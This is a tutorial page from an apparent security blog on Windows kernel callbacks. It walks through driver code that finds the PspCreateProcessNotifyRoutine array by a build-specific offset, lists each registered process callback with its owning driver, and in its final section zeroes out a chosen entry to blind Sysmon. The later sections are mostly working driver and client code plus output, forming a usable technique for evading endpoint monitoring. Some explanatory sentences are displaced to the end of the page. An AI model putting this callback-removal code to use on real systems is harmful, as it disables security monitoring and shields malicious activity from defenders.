🐳
Swayam's Blog
LinkedinGithub
  • 🫚root@Swayam's Blog
  • 🕺About Me
  • 🛠️Projects
    • CurveLock
    • ShadowChain
  • 🐞Malware Analysis
    • Basic Malware Analysis
      • LAB Network Setup
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Dynamic Analysis
      • Advanced Static Analysis
      • Identifying Anti analysis techniques
      • Binary Patching
      • Shellcode Analysis
      • Malware.unknown.exe.Malz
      • Challenge-Sillyputty
      • Bind_shell RAT Analysis
      • Malicious Powershell Script
      • Malicious HTA(HTML Applications)
      • Phishing Excel Embedded Malware
      • Reversing Csharp And DotNET Framework
      • YARA rules
      • Automating Malware Analysis
    • MASM 64 Bit Assembly
      • Hello World Of Assembly Language
      • Computer Data Representation and Operations
      • Memory Access And Organization
      • Constants, Variables And Data Types
      • Procedures
  • 👨‍💻Malware/Exploit Development
    • Driver Development
      • Driver 101
      • Kernel Calbacks
      • Process Protection
      • Process Token Privilege
  • 📖Notes And Cheatsheets
    • OSCP / Application Security
      • OS stuff
        • Footprinting
        • Nmap
        • Shells
        • Metasploit
        • Windows Buffer Overflow
        • Windows
        • Windows Privilege Escalation
        • Linux Commands
        • Linux Privilege Escalation
        • Password Cracking
        • Pivoting And Tunneling
        • Macos
      • General Introduction
        • Basic Tools
        • Basic Networking
      • WebApps
        • Attacking Common Applications
        • Attacking Common Services
        • Broken Authentication
        • Burp Proxy
        • Common Apps
        • Command Injection
        • ffuf Fuzzing
        • File Inclusion
        • File Transfer
        • File Upload
        • Javascript Deobfuscation
        • Password Attacks
        • SQLi
        • Web attacks
        • Web Information Gathering
        • Wordpress
        • Brute Forcing
        • HTTP Curl
      • Active Directory
    • Wireless Attacks
    • Red Teaming
    • BloodHound
    • Pentesting
    • ADCS
  • 🚩CTFs
    • Google CTF
Powered by GitBook
On this page
  • Introduction
  • PspCreateProcessNotifyRoutine Array
  • Getting Module Information
  • Returning Data to the Client
  • Removing a Callback Routine
  1. Malware/Exploit Development
  2. Driver Development

Kernel Calbacks

PreviousDriver 101NextProcess Protection

Last updated 9 days ago

Introduction

Kernel callbacks provide a way for drivers to receive notifications when certain events occur. The more relevant ones from an attack/defence perspective are:

  • Process Notifications - called when a process is created or exits. These are useful for preventing the process from starting outright, or to inject a userland DLL (that can perform tasks such as API hooking) before control of the process is returned to the caller.

  • Thread Notifications - called when a new thread is created or deleted. These are useful for detecting/preventing some process injection techniques by looking for threads being created from one process to another.

  • LoadImage Notification - called when a DLL is mapped into memory of a process. These are useful for detecting/preventing suspicious image loads, such as the CLR being loaded into a native process, or modules synonymous with tools such as Mimikatz.

These are used rather extensively by AV, EDR and system monitoring applications - being a notable example. Attackers can use malicious drivers to manipulate or remove these notifications in an effort to blind AV/EDR.

Install Sysmon in your test VM:

C:\Users\Rasta\Downloads\SysinternalsSuite>Sysmon64.exe -i

System Monitor v15.11 - System activity monitor
By Mark Russinovich and Thomas Garnier
Copyright (C) 2014-2023 Microsoft Corporation
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.
Sysinternals - www.sysinternals.com

Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
Sysmon64 started.

PspCreateProcessNotifyRoutine Array

With the Sysmon driver installed, we'll be able to see its process notification callback in WinDbg.

When a driver registers this type of callback, a pointer to the callback function gets stored inside an in-memory array called PspCreateProcessNotifyRoutine. Each callback has its own array (e.g. PspCreateThreadNotifyRoutine and PspLoadImageNotifyRoutine). These arrays have a maximum size of 64.

Unfortunately, there's no API to get a pointer to these arrays. Instead, we have to find them in memory using WinDbg and calculate an offset from something that we can look up dynamically at runtime.

We can start by looking at the PsSetCreateProcessNotifyRoutine function.

kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff806`5d9991c0 4883ec28        sub     rsp,28h
fffff806`5d9991c4 8ac2            mov     al,dl
fffff806`5d9991c6 33d2            xor     edx,edx
fffff806`5d9991c8 84c0            test    al,al
fffff806`5d9991ca 0f95c2          setne   dl
fffff806`5d9991cd e8b6010000      call    nt!PspSetCreateProcessNotifyRoutine (fffff806`5d999388)
fffff806`5d9991d2 4883c428        add     rsp,28h
fffff806`5d9991d6 c3              ret

Pretty quickly we see there's a call instruction to nt!PspSetCreateProcessNotifyRoutine. The address of which is 0xfffff8065d999388.

Note: This may be a jmp instruction on other Windows versions.

Unassemble this function until you see the first lea instruction.

LEA is short for Load Effective Address. This instruction is moving the address of the PspCreateProcessNotifyRoutine array into the R13 CPU register. Again, we can see the address is 0xfffff8065deec120.

Note: Another version of Windows may use a different register.

Reading this address will reveal the various callback pointers that have been registered.

kd> dqs fffff806`5deec120
fffff806`5deec120  ffff998f`1d4500ff
fffff806`5deec128  ffff998f`1d5f5aef
fffff806`5deec130  ffff998f`1dca784f
fffff806`5deec138  ffff998f`1dca7f3f
fffff806`5deec140  ffff998f`1d43c0cf
fffff806`5deec148  ffff998f`1df0562f
fffff806`5deec150  ffff998f`1df059bf
fffff806`5deec158  ffff998f`1df0622f
fffff806`5deec160  ffff998f`22af0a9f
fffff806`5deec168  ffff998f`23df630f
fffff806`5deec170  00000000`00000000
fffff806`5deec178  00000000`00000000
fffff806`5deec180  00000000`00000000
fffff806`5deec188  00000000`00000000
fffff806`5deec190  00000000`00000000
fffff806`5deec198  00000000`00000000

In this example, there are 10 callbacks present, and the other entries are empty. Checking the last entry confirms that it's pointing somewhere inside the Sysmon driver.

kd> dps (ffff998f`23df630f & fffffffffffffff8) L1
ffff998f`23df6308  fffff806`6d269f70 SysmonDrv+0x9f70

The address of the PspCreateProcessNotifyRoutine array, 0xfffff8065deec120 in this case, will vary with every reboot. But it will always have the same offset from the PsSetCreateProcessNotifyRoutine function. In the example above, this was 0xfffff8065d9991c0. Subtract 0xfffff8065d9991c0 from 0xfffff8065deec120 and you get 0x552F60.

ULONG64
GetSystemRoutineAddress(
	PCWSTR routineName
)
{
	UNICODE_STRING functionName;
	RtlInitUnicodeString(&functionName, routineName);

	return (ULONG64)MmGetSystemRoutineAddress(&functionName);
}

If we try it without rebooting:

case MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS:
{
	KdPrint(("[+] Hello from MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS\n"));

	ULONG64 psSetCreateProcessNotifyRoutine = GetSystemRoutineAddress(L"PsSetCreateProcessNotifyRoutine");
	KdPrint(("[+] PsSetCreateProcessNotifyRoutine @ 0x%llx\n", psSetCreateProcessNotifyRoutine));

	ULONG64 pspCreateProcessNotifyRoutineArray = psSetCreateProcessNotifyRoutine + PROCESS_NOTIFY_OFFSET;
	KdPrint(("[+] PspCreateProcessNotifyRoutine @ 0x%llx\n", pspCreateProcessNotifyRoutineArray));

	break;
}

We get the correct addresses:

[+] Hello from MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS
[+] PsSetCreateProcessNotifyRoutine @ 0xfffff8065d9991c0
[+] PspCreateProcessNotifyRoutine @ 0xfffff8065deec120

We could then loop over each index and print the callback address.

// create a pointer
ULONG64 arrayPointer = pspCreateProcessNotifyRoutineArray;

// loop over each array index
for (auto i = 0; i < 64; i++)
{
	auto callbackAddress = *(PULONG64)(arrayPointer & 0xfffffffffffffff8);

	// print address
	KdPrint(("[%d] 0x%llx\n", i, callbackAddress));

	// 64 bit addresses are 8 bytes
	arrayPointer += 8;
}
[0] 0xffffcb087c85027f
[1] 0xffffcb087ca8472f
[2] 0xffffcb087f0a572f
[3] 0xffffcb087f0a5cff
[4] 0xffffcb087f2352af
[5] 0xffffcb087f30562f
[6] 0xffffcb087f30577f
[7] 0xffffcb087f30619f
[8] 0xffffcb087f305e9f
[9] 0xffffcb08818acf6f
[10] 0x0
[...snip...]
[63] 0x0

Getting Module Information

Note: You'll need to add aux_klib.lib as an additional dependency to the driver project. Properties > Linker > Input.

// initialise library
status = AuxKlibInitialize();

if (!NT_SUCCESS(status))
{
	KdPrint(("[!] AuxKlibInitialize failed: 0x%08X\n", status));
	break;
}

We then need to run AuxKlibQueryModuleInformation twice - the first time to get the buffer size required to hold the requested information, and the second time to write that information. After the first call, szBuffer should hold a value that we use to allocate memory of sufficient size.

ULONG szBuffer = 0;

// run once to get required buffer size
status = AuxKlibQueryModuleInformation(
	&szBuffer,
	sizeof(AUX_MODULE_EXTENDED_INFO),
	nullptr
);

if (!NT_SUCCESS(status))
{
	KdPrint(("[!] AuxKlibQueryModuleInformation failed: 0x%08X\n", status));
	break;
}

// allocate memory
auto modules = (PAUX_MODULE_EXTENDED_INFO)ExAllocatePool2(
	POOL_FLAG_PAGED,
	szBuffer,
	MY_DRIVER_TAG
);

if (modules == nullptr)
{
	KdPrint(("[!] PAUX_MODULE_EXTENDED_INFO was null.\n"));
	status = STATUS_INSUFFICIENT_RESOURCES;
	break;
}

Once the memory has been allocated, zero it, and call AuxKlibQueryModuleInformation again. This time, rather than nullptr, we provide the pointer to the newly allocated memory.

// zero the memory
RtlZeroMemory(modules, szBuffer);

// run again to get the info
status = AuxKlibQueryModuleInformation(
	&szBuffer,
	sizeof(AUX_MODULE_EXTENDED_INFO),
	modules
);

if (!NT_SUCCESS(status))
{
	KdPrint(("[!] AuxKlibQueryModuleInformation failed.\n"));
	break;
}

We can calculate the total number of modules based on the buffer size and the size of an individual entry.

// calculate number of modules
auto numberOfModules = szBuffer / sizeof(AUX_MODULE_EXTENDED_INFO);

We now need two embedded loops. We want to loop over every callback entry in the array, obtain the raw pointer to its callback function, and print the address. We then want to loop over each module and check to see whether or not the callback pointer lands in the range of the module's start and end address. If it does, print the module's full path.

// create a pointer
ULONG64 arrayPointer = pspCreateProcessNotifyRoutineArray;

// loop over each array index
for (auto i = 0; i < 64; i++)
{
	ULONG64 callbackAddress = *(PULONG64)(arrayPointer);

	// only dereference if not null
	if (callbackAddress > 0)
	{
		ULONG64 rawPointer = *(PULONG64)(callbackAddress & 0xfffffffffffffff8);

		// print address
		KdPrint(("[%d] 0x%llx", i, rawPointer));

		// loop over each module to find where this address belongs
		for (auto m = 0; m < numberOfModules; m++)
		{
			auto startAddress = (ULONG64)modules[m].BasicInfo.ImageBase;
			auto endAddress = (ULONG64)(startAddress + modules[m].ImageSize);

			if (rawPointer > startAddress && rawPointer < endAddress)
			{
				// print module name
				KdPrint((" (%s)\n", modules[m].FullPathName));

				// break from loop
				break;
			}
		}
	}

	// 64 bit addresses are 8 bytes
	arrayPointer += 8;
}

// free memory
ExFreePoolWithTag(modules, MY_DRIVER_TAG);

After we've completed all of the loops, free the memory holding the module information. The output will look like this:

[+] Hello from MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS
[+] PsSetCreateProcessNotifyRoutine @ 0xfffff805217991c0
[+] PspCreateProcessNotifyRoutine @ 0xfffff80521cec120
[0] 0xfffff8052135e4b0 (\SystemRoot\system32\ntoskrnl.exe)
[1] 0xfffff805255f7070 (\SystemRoot\System32\drivers\cng.sys)
[2] 0xfffff8052606dfa0 (\SystemRoot\system32\drivers\wd\WdFilter.sys)
[3] 0xfffff8051fceba40 (\SystemRoot\System32\drivers\ksecdd.sys)
[4] 0xfffff80526705830 (\SystemRoot\System32\drivers\tcpip.sys)
[5] 0xfffff80526cf9f70 (\SystemRoot\SysmonDrv.sys)
[6] 0xfffff80526ddd930 (\SystemRoot\system32\drivers\iorate.sys)
[7] 0xfffff8052557f330 (\SystemRoot\system32\CI.dll)
[8] 0xfffff805295066a0 (\SystemRoot\System32\drivers\dxgkrnl.sys)
[9] 0xfffff8053a6f3ce0 (\SystemRoot\system32\drivers\peauth.sys)

Returning Data to the Client

Now that we have the driver collecting the desired information correctly, we want to send it back to the client instead of printing it in the debugger. To facilitate that, we can use the following struct in common.h.

typedef struct _CALLBACK_INFORMATION
{
    ULONG64 Address;
    CHAR    Module[256];
} CALLBACK_INFORMATION, * PCALLBACK_INFORMATION;

In the client, we can simply create an instance of this structure large enough to fit 64 entries. Then iterate over each one and print the address and module.

// create structure large enough
// for max 64 callbacks
CALLBACK_INFORMATION callbacks[64];
RtlZeroMemory(callbacks, sizeof(callbacks));

success = DeviceIoControl(
    hDriver,
    MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS,
    nullptr,
    0,
    &callbacks,
    sizeof(callbacks),
    nullptr,
    nullptr
);

if (success) {
    printf("success\n");

    // loop over each one
    for (auto i = 0; i < 64; i++)
    {
        // skip if callback is zero
        if (callbacks[i].Address == 0) {
            continue;
        }

        // print
        printf("[%d] 0x%llx (%s)\n", i, callbacks[i].Address, callbacks[i].Module);
    }
}

In the driver, carry out the usual checks on the user-supplied buffer.

// check buffer size
if (stack->Parameters.DeviceIoControl.OutputBufferLength < (sizeof(CALLBACK_INFORMATION) * 64))
{
	KdPrint(("[!] Buffer too small to hold CALLBACK_INFORMATION\n"));
	status = STATUS_BUFFER_TOO_SMALL;
	break;
}

// cast
PCALLBACK_INFORMATION callbackInfo = (PCALLBACK_INFORMATION)Irp->UserBuffer;

if (callbackInfo == nullptr)
{
	KdPrint(("[!] PCALLBACK_INFORMATION was null.\n"));
	status = STATUS_INSUFFICIENT_RESOURCES;
	break;
}

Then just fill in the information from the existing loops.

// loop over each array index
for (auto i = 0; i < 64; i++)
{
	ULONG64 callbackAddress = *(PULONG64)(arrayPointer);

	// only dereference if not null
	if (callbackAddress > 0)
	{
		ULONG64 rawPointer = *(PULONG64)(callbackAddress & 0xfffffffffffffff8);

		// KdPrint(("[%d] 0x%llx", i, rawPointer));
		// set callback address
		callbackInfo[i].Address = rawPointer;

		// loop over each module to find where this address belongs
		for (auto m = 0; m < numberOfModules; m++)
		{
			auto startAddress = (ULONG64)modules[m].BasicInfo.ImageBase;
			auto endAddress = (ULONG64)(startAddress + modules[m].ImageSize);

			if (rawPointer > startAddress && rawPointer < endAddress)
			{
				// KdPrint((" (%s)\n", modules[m].FullPathName));
				// copy module path string
				strcpy(callbackInfo[i].Module, (char*)(modules[m].FullPathName + modules[m].FileNameOffset));

				// break from loop
				break;
			}
		}

		// increment the length of data
		// we're sending back
		length += sizeof(CALLBACK_INFORMATION);
	}

	// 64 bit addresses are 8 bytes
	arrayPointer += 8;
}

The output should look like this:

C:\MyDriver>Client.exe
[+] Opening handle to driver
[+] Calling MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS...success
[0] 0xfffff8052135e4b0 (ntoskrnl.exe)
[1] 0xfffff805255f7070 (cng.sys)
[2] 0xfffff8052606dfa0 (WdFilter.sys)
[3] 0xfffff8051fceba40 (ksecdd.sys)
[4] 0xfffff80526705830 (tcpip.sys)
[5] 0xfffff80526cf9f70 (SysmonDrv.sys)
[6] 0xfffff80526ddd930 (iorate.sys)
[7] 0xfffff8052557f330 (CI.dll)
[8] 0xfffff805295066a0 (dxgkrnl.sys)
[9] 0xfffff8053a6f3ce0 (peauth.sys)
[+] Closing handle

Removing a Callback Routine

As attackers, one tactic that we can employ to disable a given callback is to zero out the entry in the array. Let's try this out against Sysmon. The easiest way to target a particular callback is by using its index number in the array. In the previous section, we saw that SysmonDrv was at index 5.

[5] 0xfffff80526cf9f70 (SysmonDrv.sys)

We can utilize a struct similar to what we've used before to send this index from the client to the driver.

typedef struct _TARGET_CALLBACK {
    int Index;
} TARGET_CALLBACK, * PTARGET_CALLBACK;

The client code is straight forward:

printf("[+] Calling MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK...");

PTARGET_CALLBACK target = new TARGET_CALLBACK { atoi(argv[1]) };

success = DeviceIoControl(
    hDriver,
    MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK,
    target,
    sizeof(target),
    nullptr,
    0,
    nullptr,
    nullptr
);

if (success) {
    printf("success\n");
}
else {
    printf("failed: %d\n", GetLastError());
}

The driver code should also be easy to follow at this point. After verifying the input buffer size and sanity checking that the provided index is between 0 and 63, we calculate the memory address holding the callback pointer. Once we have the target address, we just write 0x0 into it.

case MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK:
{
	KdPrint(("[+] Hello from MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK\n"));

	// check buffer length
	if (stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(TARGET_CALLBACK))
	{
		KdPrint(("[!] Buffer too small to hold TARGET_CALLBACK\n"));
		status = STATUS_BUFFER_TOO_SMALL;
		break;
	}

	// cast
	PTARGET_CALLBACK targetCallback = (PTARGET_CALLBACK)stack->Parameters.DeviceIoControl.Type3InputBuffer;

	if (targetCallback == nullptr)
	{
		KdPrint(("[!] PTARGET_CALLBACK was null.\n"));
		status = STATUS_INSUFFICIENT_RESOURCES;
		break;
	}

	// sanity check value
	if (targetCallback->Index < 0 || targetCallback->Index >= 64)
	{
		KdPrint(("[!] Index %d is invalid\n", targetCallback->Index));
		status = STATUS_INVALID_PARAMETER;
		break;
	}

	// find process callback array
	ULONG64 psSetCreateProcessNotifyRoutine = GetSystemRoutineAddress(L"PsSetCreateProcessNotifyRoutine");
	KdPrint(("[+] PsSetCreateProcessNotifyRoutine @ 0x%llx\n", psSetCreateProcessNotifyRoutine));

	ULONG64 pspCreateProcessNotifyRoutineArray = psSetCreateProcessNotifyRoutine + PROCESS_NOTIFY_OFFSET;
	KdPrint(("[+] PspCreateProcessNotifyRoutine @ 0x%llx\n", pspCreateProcessNotifyRoutineArray));

	// calculate address
	ULONG64 pCallback = pspCreateProcessNotifyRoutineArray + (targetCallback->Index * 8);

	// write 0x0
	*(PULONG64)(pCallback) = (ULONG64)0x0;

	break;
}

For demonstration purposes, I have hardcoded 2 calls to MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS so we can see the difference.

C:\MyDriver>Client.exe 5
[+] Opening handle to driver

[+] Calling MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS...success
[0] 0xfffff8052135e4b0 (ntoskrnl.exe)
[1] 0xfffff805255f7070 (cng.sys)
[2] 0xfffff8052606dfa0 (WdFilter.sys)
[3] 0xfffff8051fceba40 (ksecdd.sys)
[4] 0xfffff80526705830 (tcpip.sys)
[5] 0xfffff80526cf9f70 (SysmonDrv.sys)
[6] 0xfffff80526ddd930 (iorate.sys)
[7] 0xfffff8052557f330 (CI.dll)
[8] 0xfffff805295066a0 (dxgkrnl.sys)
[9] 0xfffff8053a6f3ce0 (peauth.sys)

[+] Calling MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK...success

[+] Calling MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS...success
[0] 0xfffff8052135e4b0 (ntoskrnl.exe)
[1] 0xfffff805255f7070 (cng.sys)
[2] 0xfffff8052606dfa0 (WdFilter.sys)
[3] 0xfffff8051fceba40 (ksecdd.sys)
[4] 0xfffff80526705830 (tcpip.sys)
                                 <-- index 5 is no longer here, which means the content is 0x0
[6] 0xfffff80526ddd930 (iorate.sys)
[7] 0xfffff8052557f330 (CI.dll)
[8] 0xfffff805295066a0 (dxgkrnl.sys)
[9] 0xfffff8053a6f3ce0 (peauth.sys)

[+] Closing handle

You will also be able to verify that this works by clearing the existing Sysmon log in the Event Viewer and observing that no new process creation events will be created.

The value ffff998f23df630f is not a pointer, it's a handle, so we have to AND it with fffffffffffffff8 to convert it into a raw pointer. explains it in more detail.

We can get the address for PsSetCreateProcessNotifyRoutine at runtime using the API. This helper function will add some reusability.

Now that we can reliably get the location of the PspCreateProcessNotifyRoutine array, we want to enumerate some information about each callback, such as which driver they belong to. The API can be used to get the base address, image size and path of each loaded module. Based on that, we can figure out which module a particular callback function exists in by looking to see if the address is within the address range of a module.

The documentation for the Aux Library can be found .

must be called first to initialise the library.

👨‍💻
Sysmon
This post
MmGetSystemRoutineAddress
AuxKlibQueryModuleInformation
here
AuxKlibInitialize